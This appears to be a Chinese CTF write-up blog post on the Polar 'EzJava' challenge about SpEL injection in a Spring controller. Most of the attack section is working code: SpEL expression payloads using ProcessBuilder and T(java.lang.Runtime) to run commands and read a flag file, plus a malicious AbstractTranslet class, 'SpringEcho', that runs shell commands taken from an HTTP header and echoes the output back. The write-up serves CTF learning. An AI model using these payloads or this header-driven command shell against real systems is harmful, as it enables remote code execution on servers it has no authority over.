Polar_JAVA题WP

[Polar]EzJava

题目来源:Polar
题目类型:WEB
设计考点:Spel任意命令执行

认识SpEL

Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于Unified EL,但提供了额外的功能,特别是方法调用和基本的字符串模板功能。同时因为SpEL是以API接口的形式创建的,所以允许将其集成到其他应用程序和框架中。 Spring框架的核心功能之一就是通过依赖注入的方式来管理Bean之间的依赖关系,而SpEl可以方便快捷的对ApplicationContext中的Bean进行属性的装配和提取。

基本用法:

SpEL调用流程 : 1.新建解析器 2.解析表达式 3.注册变量(可省,在取值之前注册) 4.取值

示例1:不注册新变量的用法
1
2
3
ExpressionParser parser = new SpelExpressionParser();//创建解析器
Expression exp = parser.parseExpression("'Hello World'.concat('!')");//解析表达式
System.out.println( exp.getValue() );//取值,Hello World!
示例2:自定义注册加载变量的用法
1
2
3
4
5
6
7
8
9
10
11
public class Spel {
public String name = "何止";
public static void main(String[] args) {
Spel user = new Spel();
StandardEvaluationContext context=new StandardEvaluationContext();
context.setVariable("user",user);//通过StandardEvaluationContext注册自定义变量
SpelExpressionParser parser = new SpelExpressionParser();//创建解析器
Expression expression = parser.parseExpression("#user.name");//解析表达式
System.out.println( expression.getValue(context).toString() );//取值,输出何止
}
}

会用到的语法

spel语法中的T()操作符 , T()操作符会返回一个object , 它可以帮助我们获取某个类的静态方法 , 用法T(全限定类名).方法名(),后面会用得到

spel中的#操作符可以用于标记对象

回到题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package BOOT-INF.classes.com.example.demo.controller;

import org.springframework.expression.EvaluationContext;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
@RequestMapping({"/SPEL"})
public class spel {
@RequestMapping({"/vul"})
public String spelVul(String ex) {
SpelExpressionParser spelExpressionParser = new SpelExpressionParser();
StandardEvaluationContext standardEvaluationContext = new StandardEvaluationContext();
String result = spelExpressionParser.parseExpression(ex).getValue((EvaluationContext)standardEvaluationContext).toString();
System.out.println(result);
return result;
}
}

看到网页的Controller层,在/SPEL/vul路径下接受一个ex字符串,然后用Spel对他进行解析,这里不存在任何过滤,可以直接使用SPel的任意文件执行。

首先我们构造java题常见的payload (ProcessBuilder)

1
2
3
4
5
6
String[] str = new String[]{"open","/System/Applications/Calculator.app"};
ProcessBuilder p = new ProcessBuilder( str );
p.start();//打开计算器
Spel也可以使用new的方法将多行代码汇聚成一行

new ProcessBuilder(new String[]{"calc"}).start()

若需要Shell反弹则使用Runtime类,但是在Runtime类的实例需要他的静态方法getRuntime来获取,所以在Spel我们需要T()来获取Runtime类的Object

1
2
T(java.lang.Runtime).getRuntime().exec(new String[]{"calc"})
T(java.lang.Runtime)的作用就是 Runtime rt=Runtime.getRuntime()中的rt;

本题中直接将获取到的ex值传入Spel,所以我们只需要把payload传给ex即可

web1

1
2
new java.io.BufferedReader(new java.io.InputStreamReader
(new ProcessBuilder(new String[]{"bash","-c","cat /app/flag.txt"}).start().getInputStream(), "gbk")).readLine()

恶意类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class SpringEcho extends AbstractTranslet {
static {
org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();
javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();
javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();
String[] cmd = System.getProperty("os.name").toLowerCase().contains("windows")? new String[]{"cmd.exe", "/c", httprequest.getHeader("C")} : new String[]{"/bin/sh", "-c", httprequest.getHeader("C")};
byte[] result = new byte[0];
try {
result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes();
} catch (IOException e) {
throw new RuntimeException(e);
}
try {
httpresponse.getWriter().write(new String(result));
} catch (IOException e) {
throw new RuntimeException(e);
}
try {
httpresponse.getWriter().flush();
} catch (IOException e) {
throw new RuntimeException(e);
}
try {
httpresponse.getWriter().close();
} catch (IOException e) {
throw new RuntimeException(e);
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

Polar_JAVA题WP
https://lvyzcc.github.io/2025/03/29/Polar-JAVA题WP/
作者
LvYz
发布于
2025年3月29日
许可协议